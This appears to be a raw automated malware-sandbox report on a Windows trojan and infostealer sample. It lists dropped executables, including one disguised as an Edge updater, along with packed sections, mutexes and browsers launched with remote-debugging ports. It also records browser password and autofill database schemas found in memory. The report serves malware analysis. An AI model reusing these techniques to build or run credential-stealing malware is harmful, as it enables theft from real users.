Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAB5B90	0_2_6BAB5B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA17BF0	0_2_6BA17BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA1BB20	0_2_6BA1BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAAFB60	0_2_6BAAFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAADAB0	0_2_6BAADAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9D1AE0	0_2_6B9D1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BACDA30	0_2_6BACDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA0FA10	0_2_6BA0FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB59A50	0_2_6BB59A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9E1980	0_2_6B9E1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAA1990	0_2_6BAA1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA359F0	0_2_6BA359F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA679F0	0_2_6BA679F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA699C0	0_2_6BA699C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA099D0	0_2_6BA099D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA85920	0_2_6BA85920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB1F900	0_2_6BB1F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA4F960	0_2_6BA4F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA8D960	0_2_6BA8D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA038E0	0_2_6BA038E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB2B8F0	0_2_6BB2B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAAF8F0	0_2_6BAAF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9DD8E0	0_2_6B9DD8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA2D810	0_2_6BA2D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9F1F90	0_2_6B9F1F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA7BFF0	0_2_6BA7BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAEDFC0	0_2_6BAEDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB53FC0	0_2_6BB53FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA05F20	0_2_6BA05F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB27F20	0_2_6BB27F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9C5F30	0_2_6B9C5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9F3EC0	0_2_6B9F3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BADDE10	0_2_6BADDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB2BE70	0_2_6BB2BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB55E60	0_2_6BB55E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9C3D80	0_2_6B9C3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB19D90	0_2_6BB19D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAA1DC0	0_2_6BAA1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA33D00	0_2_6BA33D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA91CE0	0_2_6BA91CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB0DCD0	0_2_6BB0DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9E1C30	0_2_6B9E1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9D3C40	0_2_6B9D3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BAF9C40	0_2_6BAF9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA453E0	0_2_6BA453E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB59300	0_2_6BB59300
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA05350	0_2_6BA05350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA71350	0_2_6BA71350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9DB2B0	0_2_6B9DB2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA9F2F0	0_2_6BA9F2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9D52F0	0_2_6B9D52F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA95220	0_2_6BA95220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB05270	0_2_6BB05270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA97260	0_2_6BA97260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA331C0	0_2_6BA331C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9E31E0	0_2_6B9E31E0
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF637601850	25_2_00007FF637601850
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF6375FC120	25_2_00007FF6375FC120
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF6375FC740	25_2_00007FF6375FC740
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF637618430	25_2_00007FF637618430
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF63760B3F0	25_2_00007FF63760B3F0
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF63760422F	25_2_00007FF63760422F
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF6375F4A10	25_2_00007FF6375F4A10
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666ABB3F0	35_2_00007FF666ABB3F0
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AC8430	35_2_00007FF666AC8430
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AAC740	35_2_00007FF666AAC740
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AAC120	35_2_00007FF666AAC120
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AB1850	35_2_00007FF666AB1850
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AB422F	35_2_00007FF666AB422F
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AA4A10	35_2_00007FF666AA4A10
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C253C40	40_2_6C253C40
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C2511D0	40_2_6C2511D0
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C2533F0	40_2_6C2533F0
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C251000	40_2_6C251000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C257410	40_2_6C257410
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C252940	40_2_6C252940
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C253A20	40_2_6C253A20
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C261331	40_2_6C261331
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B2D2B	40_2_017B2D2B
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017BBD08	40_2_017BBD08
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B25D0	40_2_017B25D0
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B6DA0	40_2_017B6DA0
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B08F9	40_2_017B08F9
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017BC0C0	40_2_017BC0C0
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B4700	40_2_017B4700
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B37F1	40_2_017B37F1
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B5528	40_2_017B5528
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B2520	40_2_017B2520
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B5518	40_2_017B5518
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B45D5	40_2_017B45D5
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B19C9	40_2_017B19C9
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B6990	40_2_017B6990
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B7994	40_2_017B7994
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B6981	40_2_017B6981
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017BB180	40_2_017BB180
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B6070	40_2_017B6070
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B6060	40_2_017B6060
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017BD0A8	40_2_017BD0A8
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B6738	40_2_017B6738
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B672B	40_2_017B672B
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B6BD0	40_2_017B6BD0
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B6BC1	40_2_017B6BC1
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B6380	40_2_017B6380
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B4677	40_2_017B4677
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_017B3210	40_2_017B3210

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6BA2C5E0 appears 37 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6B9F3620 appears 118 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6BB09F30 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6B9F9B10 appears 104 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 9972 -ip 9972

Source: file.exe, 00000000.00000002.1827387398.000000006EC12000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: kolocmpo ZLIB complexity 0.9951072133240483
Source: KKEBKJJDGH.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998440693119891
Source: KKEBKJJDGH.exe.0.dr	Static PE information: Section: miionvrr ZLIB complexity 0.9943809111557939
Source: random[1].exe.0.dr	Static PE information: Section: tdkylspa ZLIB complexity 0.9945017260174419
Source: skotes.exe.20.dr	Static PE information: Section: ZLIB complexity 0.998440693119891
Source: skotes.exe.20.dr	Static PE information: Section: miionvrr ZLIB complexity 0.9943809111557939
Source: tpZOod0[1].exe.22.dr	Static PE information: Section: TL:9@ ZLIB complexity 1.0003551136363635
Source: tpZOod0.exe.22.dr	Static PE information: Section: TL:9@ ZLIB complexity 1.0003551136363635
Source: HRFuUub[1].exe.22.dr	Static PE information: Section: TL:9@ ZLIB complexity 1.0003551136363635
Source: HRFuUub.exe.22.dr	Static PE information: Section: TL:9@ ZLIB complexity 1.0003551136363635
Source: c8297318cd.exe.22.dr	Static PE information: Section: tdkylspa ZLIB complexity 0.9945017260174419
Source: random[1].exe0.22.dr	Static PE information: Section: ZLIB complexity 1.0003675622693726
Source: random[1].exe0.22.dr	Static PE information: Section: bjuxpwog ZLIB complexity 0.9942582622896369
Source: 5467ed4ac5.exe.22.dr	Static PE information: Section: ZLIB complexity 1.0003675622693726
Source: 5467ed4ac5.exe.22.dr	Static PE information: Section: bjuxpwog ZLIB complexity 0.9942582622896369
Source: random[1].exe1.22.dr	Static PE information: Section: kolocmpo ZLIB complexity 0.9951072133240483
Source: e6f3e13d62.exe.22.dr	Static PE information: Section: kolocmpo ZLIB complexity 0.9951072133240483

Source: e6f3e13d62.exe.22.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: c8297318cd.exe.22.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe1.22.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@105/82@29/16

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6BA30300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6BA30300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\CH5XCGVX.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6156:304:WilStaging_02
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess9972
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5560:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9416:304:WilStaging_02
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess9928
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7784:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9580:304:WilStaging_02
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3932:304:WilStaging_02
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7616:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9580:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6828:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6828:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10052:304:WilStaging_02
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:10052:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000

Source: C:\Users\user\Documents\KKEBKJJDGH.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000000.00000002.1822535337.000000001DB6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826154113.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.1822535337.000000001DB6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826154113.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1822535337.000000001DB6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826154113.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000003.1456078559.000000001DA66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1456703726.000000001DA66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1456483660.000000001DA66000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2413344652.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2413168010.00000000059F3000.00000004.00000800.00020000.00000000.sdmp, FCBAEHCA.0.dr	Binary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
Source: file.exe, 00000000.00000002.1822535337.000000001DB6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826154113.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000000.00000002.1822535337.000000001DB6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826154113.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1822535337.000000001DB6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826154113.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1822535337.000000001DB6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826154113.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.1455200981.000000001DA69000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414860088.000000000592D000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414241839.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2414519149.000000000592F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1822535337.000000001DB6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826154113.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.1822535337.000000001DB6E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1826154113.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000003.1592677235.0000000023B69000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1593910986.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1594742040.000000001DA5B000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447741334.00000000059F2000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2448130738.0000000005941000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: KKEBKJJDGH.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2668,i,8110381465614932930,16096888236174781569,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2684 /prefetch:3
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2580,14279181130041663905,12471910790253145920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2884 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2060,2184961868279135562,6214656886902436476,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2636 /prefetch:3
